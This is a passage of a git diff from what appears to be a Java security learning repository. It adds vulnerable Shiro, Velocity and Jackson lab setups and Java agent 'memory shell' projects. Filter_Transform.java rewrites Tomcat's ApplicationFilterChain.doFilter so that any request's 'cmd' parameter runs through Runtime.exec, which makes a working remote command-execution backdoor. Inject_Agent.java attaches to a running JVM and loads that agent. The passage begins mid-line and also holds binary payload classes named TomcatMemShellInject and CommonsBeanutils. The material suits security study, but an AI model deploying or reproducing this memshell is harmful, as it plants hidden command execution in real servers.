b/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/spring-web-5.3.22.jar differ diff --git a/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/spring-webmvc-5.3.22.jar b/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/spring-webmvc-5.3.22.jar new file mode 100644 index 00000000..beb27e73 Binary files /dev/null and b/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/spring-webmvc-5.3.22.jar differ diff --git a/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/tomcat-embed-core-9.0.65.jar b/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/tomcat-embed-core-9.0.65.jar new file mode 100644 index 00000000..667ca462 Binary files /dev/null and b/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/tomcat-embed-core-9.0.65.jar differ diff --git a/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/tomcat-embed-el-9.0.65.jar b/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/tomcat-embed-el-9.0.65.jar new file mode 100644 index 00000000..e54e0845 Binary files /dev/null and b/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/tomcat-embed-el-9.0.65.jar differ diff --git a/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/tomcat-embed-websocket-9.0.65.jar b/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/tomcat-embed-websocket-9.0.65.jar new file mode 100644 index 00000000..f2bd484e Binary files /dev/null and b/JavaSecurity/Jackson/JacksonSerialize/src/main/resources/lib/tomcat-embed-websocket-9.0.65.jar differ diff --git a/JavaSecurity/Jackson/ctf-0.0.1-SNAPSHOT.jar b/JavaSecurity/Jackson/ctf-0.0.1-SNAPSHOT.jar new file mode 100644 index 00000000..d85d7d67 Binary files /dev/null and b/JavaSecurity/Jackson/ctf-0.0.1-SNAPSHOT.jar differ diff --git "a/JavaSecurity/Java 344円273円243円347円240円201円345円256円241円350円256円241円/CodeReview/JavaSec-Code/SSTI/src/main/java/com/drunkbaby/ssti/VulTest/test.java" "b/JavaSecurity/Java 344円273円243円347円240円201円345円256円241円350円256円241円/CodeReview/JavaSec-Code/SSTI/src/main/java/com/drunkbaby/ssti/VulTest/test.java" new file mode 100644 index 00000000..16fb5289 --- /dev/null +++ "b/JavaSecurity/Java 344円273円243円347円240円201円345円256円241円350円256円241円/CodeReview/JavaSec-Code/SSTI/src/main/java/com/drunkbaby/ssti/VulTest/test.java" @@ -0,0 +1,23 @@ +package com.drunkbaby.ssti.VulTest; + +import org.apache.velocity.Template; +import org.apache.velocity.VelocityContext; +import org.apache.velocity.app.VelocityEngine; + +import java.io.StringWriter; +import java.util.Properties; + +public class test { + public static void main(String[] args) throws Exception { + Properties p = new Properties(); + VelocityEngine velocity = new VelocityEngine(); + velocity.init(p); + + Template template = velocity.getTemplate("test.vm"); + VelocityContext context = new VelocityContext(); + StringWriter writer = new StringWriter(); + template.merge(context, writer); + writer.flush(); + System.out.println(writer.toString()); + } +} diff --git "a/JavaSecurity/Java 344円273円243円347円240円201円345円256円241円350円256円241円/CodeReview/JavaSec-Code/SSTI/src/main/resources/lib/com.atlassian.confluence_confluence-8.5.3.jar" "b/JavaSecurity/Java 344円273円243円347円240円201円345円256円241円350円256円241円/CodeReview/JavaSec-Code/SSTI/src/main/resources/lib/com.atlassian.confluence_confluence-8.5.3.jar" new file mode 100644 index 00000000..5bc5ccec Binary files /dev/null and "b/JavaSecurity/Java 344円273円243円347円240円201円345円256円241円350円256円241円/CodeReview/JavaSec-Code/SSTI/src/main/resources/lib/com.atlassian.confluence_confluence-8.5.3.jar" differ diff --git "a/JavaSecurity/Java 344円273円243円347円240円201円345円256円241円350円256円241円/CodeReview/JavaSec-Code/SSTI/src/main/resources/test.vm" "b/JavaSecurity/Java 344円273円243円347円240円201円345円256円241円350円256円241円/CodeReview/JavaSec-Code/SSTI/src/main/resources/test.vm" new file mode 100644 index 00000000..82571e1e --- /dev/null +++ "b/JavaSecurity/Java 344円273円243円347円240円201円345円256円241円350円256円241円/CodeReview/JavaSec-Code/SSTI/src/main/resources/test.vm" @@ -0,0 +1 @@ +

        test

        \ No newline at end of file diff --git "a/JavaSecurity/Java 345円233円236円346円230円276円346円212円200円346円234円257円/TomcatHalfEcho/ShiroVulnEnv/target/classes/application.properties" "b/JavaSecurity/Java 345円233円236円346円230円276円346円212円200円346円234円257円/TomcatHalfEcho/ShiroVulnEnv/target/classes/application.properties" new file mode 100644 index 00000000..4d360de1 --- /dev/null +++ "b/JavaSecurity/Java 345円233円236円346円230円276円346円212円200円346円234円257円/TomcatHalfEcho/ShiroVulnEnv/target/classes/application.properties" @@ -0,0 +1 @@ +server.port=8081 diff --git "a/JavaSecurity/Java 345円233円236円346円230円276円346円212円200円346円234円257円/TomcatHalfEcho/ShiroVulnEnv/target/classes/com/shiro/vuln/Controller/UserController.class" "b/JavaSecurity/Java 345円233円236円346円230円276円346円212円200円346円234円257円/TomcatHalfEcho/ShiroVulnEnv/target/classes/com/shiro/vuln/Controller/UserController.class" new file mode 100644 index 00000000..f63f9f4a Binary files /dev/null and "b/JavaSecurity/Java 345円233円236円346円230円276円346円212円200円346円234円257円/TomcatHalfEcho/ShiroVulnEnv/target/classes/com/shiro/vuln/Controller/UserController.class" differ diff --git "a/JavaSecurity/Java 345円233円236円346円230円276円346円212円200円346円234円257円/TomcatHalfEcho/ShiroVulnEnv/target/classes/com/shiro/vuln/Shiro/MainRealm.class" "b/JavaSecurity/Java 345円233円236円346円230円276円346円212円200円346円234円257円/TomcatHalfEcho/ShiroVulnEnv/target/classes/com/shiro/vuln/Shiro/MainRealm.class" new file mode 100644 index 00000000..79d49a6d Binary files /dev/null and "b/JavaSecurity/Java 345円233円236円346円230円276円346円212円200円346円234円257円/TomcatHalfEcho/ShiroVulnEnv/target/classes/com/shiro/vuln/Shiro/MainRealm.class" differ diff --git "a/JavaSecurity/Java 345円233円236円346円230円276円346円212円200円346円234円257円/TomcatHalfEcho/ShiroVulnEnv/target/classes/com/shiro/vuln/Shiro/ShiroConfig.class" "b/JavaSecurity/Java 345円233円236円346円230円276円346円212円200円346円234円257円/TomcatHalfEcho/ShiroVulnEnv/target/classes/com/shiro/vuln/Shiro/ShiroConfig.class" new file mode 100644 index 00000000..870b53cc Binary files /dev/null and "b/JavaSecurity/Java 345円233円236円346円230円276円346円212円200円346円234円257円/TomcatHalfEcho/ShiroVulnEnv/target/classes/com/shiro/vuln/Shiro/ShiroConfig.class" differ diff --git "a/JavaSecurity/Java 345円233円236円346円230円276円346円212円200円346円234円257円/TomcatHalfEcho/ShiroVulnEnv/target/classes/com/shiro/vuln/ShirodemoApplication.class" "b/JavaSecurity/Java 345円233円236円346円230円276円346円212円200円346円234円257円/TomcatHalfEcho/ShiroVulnEnv/target/classes/com/shiro/vuln/ShirodemoApplication.class" new file mode 100644 index 00000000..17f1001d Binary files /dev/null and "b/JavaSecurity/Java 345円233円236円346円230円276円346円212円200円346円234円257円/TomcatHalfEcho/ShiroVulnEnv/target/classes/com/shiro/vuln/ShirodemoApplication.class" differ diff --git "a/JavaSecurity/Java 345円233円236円346円230円276円346円212円200円346円234円257円/TomcatHalfEcho/ShiroVulnEnv/target/test-classes/AESEncode.class" "b/JavaSecurity/Java 345円233円236円346円230円276円346円212円200円346円234円257円/TomcatHalfEcho/ShiroVulnEnv/target/test-classes/AESEncode.class" new file mode 100644 index 00000000..b7b80496 Binary files /dev/null and "b/JavaSecurity/Java 345円233円236円346円230円276円346円212円200円346円234円257円/TomcatHalfEcho/ShiroVulnEnv/target/test-classes/AESEncode.class" differ diff --git "a/JavaSecurity/Java 345円233円236円346円230円276円346円212円200円346円234円257円/TomcatHalfEcho/ShiroVulnEnv/target/test-classes/CC11Template.class" "b/JavaSecurity/Java 345円233円236円346円230円276円346円212円200円346円234円257円/TomcatHalfEcho/ShiroVulnEnv/target/test-classes/CC11Template.class" new file mode 100644 index 00000000..e55781cc Binary files /dev/null and "b/JavaSecurity/Java 345円233円236円346円230円276円346円212円200円346円234円257円/TomcatHalfEcho/ShiroVulnEnv/target/test-classes/CC11Template.class" differ diff --git "a/JavaSecurity/Java 345円233円236円346円230円276円346円212円200円346円234円257円/TomcatHalfEcho/ShiroVulnEnv/target/test-classes/CommonsBeanutils.class" "b/JavaSecurity/Java 345円233円236円346円230円276円346円212円200円346円234円257円/TomcatHalfEcho/ShiroVulnEnv/target/test-classes/CommonsBeanutils.class" new file mode 100644 index 00000000..9ddd3d87 Binary files /dev/null and "b/JavaSecurity/Java 345円233円236円346円230円276円346円212円200円346円234円257円/TomcatHalfEcho/ShiroVulnEnv/target/test-classes/CommonsBeanutils.class" differ diff --git "a/JavaSecurity/Java 345円233円236円346円230円276円346円212円200円346円234円257円/TomcatHalfEcho/ShiroVulnEnv/target/test-classes/TomcatHeaderSize.class" "b/JavaSecurity/Java 345円233円236円346円230円276円346円212円200円346円234円257円/TomcatHalfEcho/ShiroVulnEnv/target/test-classes/TomcatHeaderSize.class" new file mode 100644 index 00000000..56808dc4 Binary files /dev/null and "b/JavaSecurity/Java 345円233円236円346円230円276円346円212円200円346円234円257円/TomcatHalfEcho/ShiroVulnEnv/target/test-classes/TomcatHeaderSize.class" differ diff --git "a/JavaSecurity/Java 345円233円236円346円230円276円346円212円200円346円234円257円/TomcatHalfEcho/ShiroVulnEnv/target/test-classes/TomcatMemShellInject.class" "b/JavaSecurity/Java 345円233円236円346円230円276円346円212円200円346円234円257円/TomcatHalfEcho/ShiroVulnEnv/target/test-classes/TomcatMemShellInject.class" new file mode 100644 index 00000000..47592526 Binary files /dev/null and "b/JavaSecurity/Java 345円233円236円346円230円276円346円212円200円346円234円257円/TomcatHalfEcho/ShiroVulnEnv/target/test-classes/TomcatMemShellInject.class" differ diff --git "a/JavaSecurity/Java 345円233円236円346円230円276円346円212円200円346円234円257円/TomcatHalfEcho/ShiroVulnEnv/target/test-classes/com/shiro/vuln/shirodemo/ShirodemoApplicationTests.class" "b/JavaSecurity/Java 345円233円236円346円230円276円346円212円200円346円234円257円/TomcatHalfEcho/ShiroVulnEnv/target/test-classes/com/shiro/vuln/shirodemo/ShirodemoApplicationTests.class" new file mode 100644 index 00000000..90696881 Binary files /dev/null and "b/JavaSecurity/Java 345円233円236円346円230円276円346円212円200円346円234円257円/TomcatHalfEcho/ShiroVulnEnv/target/test-classes/com/shiro/vuln/shirodemo/ShirodemoApplicationTests.class" differ diff --git a/JavaSecurity/MemoryShell/Java-Agent-Memshell/AgentInjectionExample/.gitignore b/JavaSecurity/MemoryShell/Java-Agent-Memshell/AgentInjectionExample/.gitignore new file mode 100644 index 00000000..5ff6309b --- /dev/null +++ b/JavaSecurity/MemoryShell/Java-Agent-Memshell/AgentInjectionExample/.gitignore @@ -0,0 +1,38 @@ +target/ +!.mvn/wrapper/maven-wrapper.jar +!**/src/main/**/target/ +!**/src/test/**/target/ + +### IntelliJ IDEA ### +.idea/modules.xml +.idea/jarRepositories.xml +.idea/compiler.xml +.idea/libraries/ +*.iws +*.iml +*.ipr + +### Eclipse ### +.apt_generated +.classpath +.factorypath +.project +.settings +.springBeans +.sts4-cache + +### NetBeans ### +/nbproject/private/ +/nbbuild/ +/dist/ +/nbdist/ +/.nb-gradle/ +build/ +!**/src/main/**/build/ +!**/src/test/**/build/ + +### VS Code ### +.vscode/ + +### Mac OS ### +.DS_Store \ No newline at end of file diff --git a/JavaSecurity/MemoryShell/Java-Agent-Memshell/AgentInjectionExample/pom.xml b/JavaSecurity/MemoryShell/Java-Agent-Memshell/AgentInjectionExample/pom.xml new file mode 100644 index 00000000..3e80708d --- /dev/null +++ b/JavaSecurity/MemoryShell/Java-Agent-Memshell/AgentInjectionExample/pom.xml @@ -0,0 +1,55 @@ + + 4.0.0 + org.example + AgentInjectionExample + 1.0-SNAPSHOT + Archetype - AgentInjectionExample + http://maven.apache.org + + + org.javassist + javassist + 3.27.0-GA + + + commons-collections + commons-collections + 3.2.1 + + + com.sun + tools + 1.8.0 + system + D:\\SoftWares\\LanguageEnv\\Java\8円u321\\lib\\tools.jar + + + + + + org.apache.maven.plugins + maven-assembly-plugin + 2.6 + + + jar-with-dependencies + + + + src/main/resources/META-INF/maven/MAINFEST.MF + + + + + + org.apache.maven.plugins + maven-compiler-plugin + + 6 + 6 + + + + + diff --git a/JavaSecurity/MemoryShell/Java-Agent-Memshell/AgentInjectionExample/src/main/java/com/drunkbaby/Filter_Transform.java b/JavaSecurity/MemoryShell/Java-Agent-Memshell/AgentInjectionExample/src/main/java/com/drunkbaby/Filter_Transform.java new file mode 100644 index 00000000..a03cd5e4 --- /dev/null +++ b/JavaSecurity/MemoryShell/Java-Agent-Memshell/AgentInjectionExample/src/main/java/com/drunkbaby/Filter_Transform.java @@ -0,0 +1,51 @@ +package com.drunkbaby; + +import javassist.ClassClassPath; +import javassist.ClassPool; +import javassist.CtClass; +import javassist.CtMethod; + +import java.lang.instrument.ClassFileTransformer; +import java.lang.instrument.IllegalClassFormatException; +import java.security.ProtectionDomain; + +public class Filter_Transform implements ClassFileTransformer { + @Override + public byte[] transform(ClassLoader loader, String className, Class classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException { + try { + + //获取CtClass 对象的容器 ClassPool + ClassPool classPool = ClassPool.getDefault(); + + //添加额外的类搜索路径 + if (classBeingRedefined != null) { + ClassClassPath ccp = new ClassClassPath(classBeingRedefined); + classPool.insertClassPath(ccp); + } + + //获取目标类 + CtClass ctClass = classPool.get("org.apache.catalina.core.ApplicationFilterChain"); + + //获取目标方法 + CtMethod ctMethod = ctClass.getDeclaredMethod("doFilter"); + + //设置方法体 + String body = "{" + + "javax.servlet.http.HttpServletRequest request = 1ドル\n;" + + "String cmd=request.getParameter(\"cmd\");\n" + + "if (cmd !=null){\n" + + " Runtime.getRuntime().exec(cmd);\n" + + " }"+ + "}"; + ctMethod.setBody(body); + + //返回目标类字节码 + byte[] bytes = ctClass.toBytecode(); + return bytes; + + }catch (Exception e){ + e.printStackTrace(); + } + return null; + } +} diff --git a/JavaSecurity/MemoryShell/Java-Agent-Memshell/AgentInjectionExample/src/main/java/com/drunkbaby/Inject_Agent.java b/JavaSecurity/MemoryShell/Java-Agent-Memshell/AgentInjectionExample/src/main/java/com/drunkbaby/Inject_Agent.java new file mode 100644 index 00000000..e48104f5 --- /dev/null +++ b/JavaSecurity/MemoryShell/Java-Agent-Memshell/AgentInjectionExample/src/main/java/com/drunkbaby/Inject_Agent.java @@ -0,0 +1,27 @@ +package com.drunkbaby; + +import com.sun.tools.attach.*; + +import java.io.IOException; +import java.util.List; + +public class Inject_Agent { + public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException, AttachNotSupportedException, AgentLoadException, AgentInitializationException, AgentLoadException, AgentInitializationException, AttachNotSupportedException, AgentLoadException, AgentInitializationException, AgentLoadException, AgentInitializationException, AgentLoadException, AgentInitializationException { + //调用VirtualMachine.list()获取正在运行的JVM列表 + List list = VirtualMachine.list(); + for(VirtualMachineDescriptor vmd : list){ + System.out.println(vmd.displayName()); + //遍历每一个正在运行的JVM,如果JVM名称为Sleep_Hello则连接该JVM并加载特定Agent + if(vmd.displayName().contains("JavaAgentSpringBootApplication")){ + + //连接指定JVM + VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id()); + //加载Agent + virtualMachine.loadAgent("E:\\Coding\\Java\\JavaSecurityLearning\\JavaSecurity\\MemoryShell\\Java-Agent-Memshell\\AgentInjectionExample\\target\\AgentInjectionExample-1.0-SNAPSHOT-jar-with-dependencies.jar"); + //断开JVM连接 + virtualMachine.detach(); + } + + } + } +} diff --git a/JavaSecurity/MemoryShell/Java-Agent-Memshell/AgentInjectionExample/src/main/java/com/drunkbaby/agentmain_transform.java b/JavaSecurity/MemoryShell/Java-Agent-Memshell/AgentInjectionExample/src/main/java/com/drunkbaby/agentmain_transform.java new file mode 100644 index 00000000..16b0b868 --- /dev/null +++ b/JavaSecurity/MemoryShell/Java-Agent-Memshell/AgentInjectionExample/src/main/java/com/drunkbaby/agentmain_transform.java @@ -0,0 +1,21 @@ +package com.drunkbaby; + +import java.lang.instrument.Instrumentation; +import java.lang.instrument.UnmodifiableClassException; + +public class agentmain_transform { + public static void agentmain(String args, Instrumentation inst) throws InterruptedException, UnmodifiableClassException { + Class [] classes = inst.getAllLoadedClasses(); + + //获取目标JVM加载的全部类 + for(Class cls : classes){ + if (cls.getName().equals("org.apache.catalina.core.ApplicationFilterChain")){ + + //添加一个transformer到Instrumentation,并重新触发目标类加载 + inst.addTransformer(new Filter_Transform(),true); + inst.retransformClasses(cls); + } + } + } +} + diff --git a/JavaSecurity/MemoryShell/Java-Agent-Memshell/AgentInjectionExample/src/main/resources/META-INF/maven/MAINFEST.MF b/JavaSecurity/MemoryShell/Java-Agent-Memshell/AgentInjectionExample/src/main/resources/META-INF/maven/MAINFEST.MF new file mode 100644 index 00000000..34afaf27 --- /dev/null +++ b/JavaSecurity/MemoryShell/Java-Agent-Memshell/AgentInjectionExample/src/main/resources/META-INF/maven/MAINFEST.MF @@ -0,0 +1,4 @@ +Manifest-Version: 1.0 +Agent-Class: com.drunkbaby.agentmain_transform +Can-Redefine-Classes: true +Can-Retransform-Classes: true diff --git a/JavaSecurity/MemoryShell/Java-Agent-Memshell/AgentInjectionExample/src/main/resources/META-INF/maven/archetype.xml b/JavaSecurity/MemoryShell/Java-Agent-Memshell/AgentInjectionExample/src/main/resources/META-INF/maven/archetype.xml new file mode 100644 index 00000000..772b6c93 --- /dev/null +++ b/JavaSecurity/MemoryShell/Java-Agent-Memshell/AgentInjectionExample/src/main/resources/META-INF/maven/archetype.xml @@ -0,0 +1,9 @@ + + AgentInjectionExample + + src/main/java/App.java + + + src/test/java/AppTest.java + + diff --git a/JavaSecurity/MemoryShell/Java-Agent-Memshell/AgentInjectionExample/src/main/resources/archetype-resources/pom.xml b/JavaSecurity/MemoryShell/Java-Agent-Memshell/AgentInjectionExample/src/main/resources/archetype-resources/pom.xml new file mode 100644 index 00000000..e863d602 --- /dev/null +++ b/JavaSecurity/MemoryShell/Java-Agent-Memshell/AgentInjectionExample/src/main/resources/archetype-resources/pom.xml @@ -0,0 +1,15 @@ + + 4.0.0 + $org.example + $AgentInjectionExample + 1ドル.0-SNAPSHOT + + + junit + junit + 3.8.1 + test + + + diff --git a/JavaSecurity/MemoryShell/Java-Agent-Memshell/AgentInjectionExample/src/main/resources/archetype-resources/src/main/java/App.java b/JavaSecurity/MemoryShell/Java-Agent-Memshell/AgentInjectionExample/src/main/resources/archetype-resources/src/main/java/App.java new file mode 100644 index 00000000..1fa6a956 --- /dev/null +++ b/JavaSecurity/MemoryShell/Java-Agent-Memshell/AgentInjectionExample/src/main/resources/archetype-resources/src/main/java/App.java @@ -0,0 +1,13 @@ +package $org.example; + +/** + * Hello world! + * + */ +public class App +{ + public static void main( String[] args ) + { + System.out.println( "Hello World!" ); + } +} diff --git a/JavaSecurity/MemoryShell/Java-Agent-Memshell/AgentInjectionExample/src/main/resources/archetype-resources/src/test/java/AppTest.java b/JavaSecurity/MemoryShell/Java-Agent-Memshell/AgentInjectionExample/src/main/resources/archetype-resources/src/test/java/AppTest.java new file mode 100644 index 00000000..65be417e --- /dev/null +++ b/JavaSecurity/MemoryShell/Java-Agent-Memshell/AgentInjectionExample/src/main/resources/archetype-resources/src/test/java/AppTest.java @@ -0,0 +1,38 @@ +package $org.example; + +import junit.framework.Test; +import junit.framework.TestCase; +import junit.framework.TestSuite; + +/** + * Unit test for simple App. + */ +public class AppTest + extends TestCase +{ + /** + * Create the test case + * + * @param testName name of the test case + */ + public AppTest( String testName ) + { + super( testName ); + } + + /** + * @return the suite of tests being tested + */ + public static Test suite() + { + return new TestSuite( AppTest.class ); + } + + /** + * Rigourous Test :-) + */ + public void testApp() + { + assertTrue( true ); + } +} diff --git a/JavaSecurity/MemoryShell/Java-Agent-Memshell/Agentmain/.gitignore b/JavaSecurity/MemoryShell/Java-Agent-Memshell/Agentmain/.gitignore new file mode 100644 index 00000000..5ff6309b --- /dev/null +++ b/JavaSecurity/MemoryShell/Java-Agent-Memshell/Agentmain/.gitignore @@ -0,0 +1,38 @@ +target/ +!.mvn/wrapper/maven-wrapper.jar +!**/src/main/**/target/ +!**/src/test/**/target/ + +### IntelliJ IDEA ### +.idea/modules.xml +.idea/jarRepositories.xml +.idea/compiler.xml +.idea/libraries/ +*.iws +*.iml +*.ipr + +### Eclipse ### +.apt_generated +.classpath +.factorypath +.project +.settings +.springBeans +.sts4-cache + +### NetBeans ### +/nbproject/private/ +/nbbuild/ +/dist/ +/nbdist/ +/.nb-gradle/ +build/ +!**/src/main/**/build/ +!**/src/test/**/build/ + +### VS Code ### +.vscode/ + +### Mac OS ### +.DS_Store \ No newline at end of file diff --git a/JavaSecurity/MemoryShell/Java-Agent-Memshell/Agentmain/pom.xml b/JavaSecurity/MemoryShell/Java-Agent-Memshell/Agentmain/pom.xml new file mode 100644 index 00000000..5653145e --- /dev/null +++ b/JavaSecurity/MemoryShell/Java-Agent-Memshell/Agentmain/pom.xml @@ -0,0 +1,45 @@ + + 4.0.0 + org.example + Agentmain + 1.0-SNAPSHOT + Archetype - Agentmain + + + com.sun + tools + 1.8.0 + system + D:\\SoftWares\\LanguageEnv\\Java\8円u321\\lib\\tools.jar + + + http://maven.apache.org + + + + org.apache.maven.plugins + maven-assembly-plugin + 2.6 + + + jar-with-dependencies + + + + src/main/resources/META-INF/MAINFEST.MF + + + + + + org.apache.maven.plugins + maven-compiler-plugin + + 6 + 6 + + + + + diff --git a/JavaSecurity/MemoryShell/Java-Agent-Memshell/Agentmain/src/main/java/com/drunkbaby/Inject_Agent.java b/JavaSecurity/MemoryShell/Java-Agent-Memshell/Agentmain/src/main/java/com/drunkbaby/Inject_Agent.java new file mode 100644 index 00000000..cc270f94 --- /dev/null +++ b/JavaSecurity/MemoryShell/Java-Agent-Memshell/Agentmain/src/main/java/com/drunkbaby/Inject_Agent.java @@ -0,0 +1,26 @@ +package com.drunkbaby; + +import com.sun.tools.attach.*; + +import java.io.IOException; +import java.util.List; + +public class Inject_Agent { + public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException { + //调用VirtualMachine.list()获取正在运行的JVM列表 + List list = VirtualMachine.list(); + for(VirtualMachineDescriptor vmd : list){ + //遍历每一个正在运行的JVM,如果JVM名称为Sleep_Hello则连接该JVM并加载特定Agent + if(vmd.displayName().equals("com.drunkbaby.Sleep_Hello")){ + + //连接指定JVM + VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id()); + //加载Agent + virtualMachine.loadAgent("E:\\Coding\\Java\\Java-Agent-Memshell\\Agentmain\\target\\Agentmain-1.0-SNAPSHOT-jar-with-dependencies.jar"); + //断开JVM连接 + virtualMachine.detach(); + } + + } + } +} \ No newline at end of file diff --git a/JavaSecurity/MemoryShell/Java-Agent-Memshell/Agentmain/src/main/java/com/drunkbaby/Java_Agent_agentmain.java b/JavaSecurity/MemoryShell/Java-Agent-Memshell/Agentmain/src/main/java/com/drunkbaby/Java_Agent_agentmain.java new file mode 100644 index 00000000..bafcfd11 --- /dev/null +++ b/JavaSecurity/MemoryShell/Java-Agent-Memshell/Agentmain/src/main/java/com/drunkbaby/Java_Agent_agentmain.java @@ -0,0 +1,14 @@ +package com.drunkbaby; + +import java.lang.instrument.Instrumentation; + +import static java.lang.Thread.sleep; + +public class Java_Agent_agentmain { + public static void agentmain(String args, Instrumentation inst) throws InterruptedException { + while (true){ + System.out.println("调用了agentmain-Agent!"); + sleep(3000); + } + } +} \ No newline at end of file diff --git a/JavaSecurity/MemoryShell/Java-Agent-Memshell/Agentmain/src/main/java/com/drunkbaby/Sleep_Hello.java b/JavaSecurity/MemoryShell/Java-Agent-Memshell/Agentmain/src/main/java/com/drunkbaby/Sleep_Hello.java new file mode 100644 index 00000000..746c0f7e --- /dev/null +++ b/JavaSecurity/MemoryShell/Java-Agent-Memshell/Agentmain/src/main/java/com/drunkbaby/Sleep_Hello.java @@ -0,0 +1,12 @@ +package com.drunkbaby; + +import static java.lang.Thread.sleep; + +public class Sleep_Hello { + public static void main(String[] args) throws InterruptedException { + while (true){ + System.out.println("Hello World!"); + sleep(5000); + } + } +} \ No newline at end of file diff --git a/JavaSecurity/MemoryShell/Java-Agent-Memshell/Agentmain/src/main/java/com/drunkbaby/get_PID.java b/JavaSecurity/MemoryShell/Java-Agent-Memshell/Agentmain/src/main/java/com/drunkbaby/get_PID.java new file mode 100644 index 00000000..23ab8172 --- /dev/null +++ b/JavaSecurity/MemoryShell/Java-Agent-Memshell/Agentmain/src/main/java/com/drunkbaby/get_PID.java @@ -0,0 +1,25 @@ +package com.drunkbaby; + +import com.sun.tools.attach.VirtualMachine; +import com.sun.tools.attach.VirtualMachineDescriptor; + +import java.util.List; + +import com.sun.tools.attach.VirtualMachine; +import com.sun.tools.attach.VirtualMachineDescriptor; + +import java.util.List; + +public class get_PID { + public static void main(String[] args) { + + List list = VirtualMachine.list(); + for(VirtualMachineDescriptor vmd : list){ + + //遍历每一个正在运行的JVM,如果JVM名称为get_PID则返回其PID + if(vmd.displayName().equals("get_PID")) + System.out.println(vmd.id()); + } + + } +} \ No newline at end of file diff --git a/JavaSecurity/MemoryShell/Java-Agent-Memshell/Agentmain/src/main/resources/META-INF/MAINFEST.MF b/JavaSecurity/MemoryShell/Java-Agent-Memshell/Agentmain/src/main/resources/META-INF/MAINFEST.MF new file mode 100644 index 00000000..956cebd0 --- /dev/null +++ b/JavaSecurity/MemoryShell/Java-Agent-Memshell/Agentmain/src/main/resources/META-INF/MAINFEST.MF @@ -0,0 +1,4 @@ +Manifest-Version: 1.0 +Agent-Class: com.drunkbaby.Java_Agent_agentmain +Can-Redefine-Classes: true +Can-Retransform-Classes: true diff --git a/JavaSecurity/MemoryShell/Java-Agent-Memshell/Agentmain/src/main/resources/archetype-resources/pom.xml b/JavaSecurity/MemoryShell/Java-Agent-Memshell/Agentmain/src/main/resources/archetype-resources/pom.xml new file mode 100644 index 00000000..823f9934 --- /dev/null +++ b/JavaSecurity/MemoryShell/Java-Agent-Memshell/Agentmain/src/main/resources/archetype-resources/pom.xml @@ -0,0 +1,15 @@ + + 4.0.0 + $org.example + $Agentmain + 1ドル.0-SNAPSHOT + + + junit + junit + 3.8.1 + test + + + diff --git a/JavaSecurity/MemoryShell/Java-Agent-Memshell/Agentmain/src/main/resources/archetype-resources/src/main/java/App.java b/JavaSecurity/MemoryShell/Java-Agent-Memshell/Agentmain/src/main/resources/archetype-resources/src/main/java/App.java new file mode 100644 index 00000000..1fa6a956 --- /dev/null +++ b/JavaSecurity/MemoryShell/Java-Agent-Memshell/Agentmain/src/main/resources/archetype-resources/src/main/java/App.java @@ -0,0 +1,13 @@ +package $org.example; + +/** + * Hello world! + * + */ +public class App +{ + public static void main( String[] args ) + { + System.out.println( "Hello World!" ); + } +} diff --git a/JavaSecurity/MemoryShell/Java-Agent-Memshell/Agentmain/src/main/resources/archetype-resources/src/test/java/AppTest.java b/JavaSecurity/MemoryShell/Java-Agent-Memshell/Agentmain/src/main/resources/archetype-resources/src/test/java/AppTest.java new file mode 100644 index 00000000..65be417e --- /dev/null +++ b/JavaSecurity/MemoryShell/Java-Agent-Memshell/Agentmain/src/main/resources/archetype-resources/src/test/java/AppTest.java @@ -0,0 +1,38 @@ +package $org.example; + +import junit.framework.Test; +import junit.framework.TestCase; +import junit.framework.TestSuite; + +/** + * Unit test for simple App. + */ +public class AppTest + extends TestCase +{ + /** + * Create the test case + * + * @param testName name of the test case + */ + public AppTest( String testName ) + { + super( testName ); + } + + /** + * @return the suite of tests being tested + */ + public static Test suite() + { + return new TestSuite( AppTest.class ); + } + + /** + * Rigourous Test :-) + */ + public void testApp() + { + assertTrue( true ); + } +} diff --git a/JavaSecurity/MemoryShell/Java-Agent-Memshell/Instrumentation/.gitignore b/JavaSecurity/MemoryShell/Java-Agent-Memshell/Instrumentation/.gitignore new file mode 100644 index 00000000..5ff6309b --- /dev/null +++ b/JavaSecurity/MemoryShell/Java-Agent-Memshell/Instrumentation/.gitignore @@ -0,0 +1,38 @@ +target/ +!.mvn/wrapper/maven-wrapper.jar +!**/src/main/**/target/ +!**/src/test/**/target/ + +### IntelliJ IDEA ### +.idea/modules.xml +.idea/jarRepositories.xml +.idea/compiler.xml +.idea/libraries/ +*.iws +*.iml +*.ipr + +### Eclipse ### +.apt_generated +.classpath +.factorypath +.project +.settings +.springBeans +.sts4-cache + +### NetBeans ### +/nbproject/private/ +/nbbuild/ +/dist/ +/nbdist/ +/.nb-gradle/ +build/ +!**/src/main/**/build/ +!**/src/test/**/build/ + +### VS Code ### +.vscode/ + +### Mac OS ### +.DS_Store \ No newline at end of file diff --git a/JavaSecurity/MemoryShell/Java-Agent-Memshell/Instrumentation/pom.xml b/JavaSecurity/MemoryShell/Java-Agent-Memshell/Instrumentation/pom.xml new file mode 100644 index 00000000..b05f3253 --- /dev/null +++ b/JavaSecurity/MemoryShell/Java-Agent-Memshell/Instrumentation/pom.xml @@ -0,0 +1,57 @@ + + 4.0.0 + org.example + Instrumentation + 1.0-SNAPSHOT + Archetype - Instrumentation + http://maven.apache.org + + + + org.javassist + javassist + 3.27.0-GA + + + commons-collections + commons-collections + 3.2.1 + + + com.sun + tools + 1.8.0 + system + D:\\SoftWares\\LanguageEnv\\Java\8円u321\\lib\\tools.jar + + + + + + org.apache.maven.plugins + maven-assembly-plugin + 2.6 + + + jar-with-dependencies + + + + src/main/resources/META-INF/maven/MAINFEST.MF + + + + + + org.apache.maven.plugins + maven-compiler-plugin + + 6 + 6 + + + 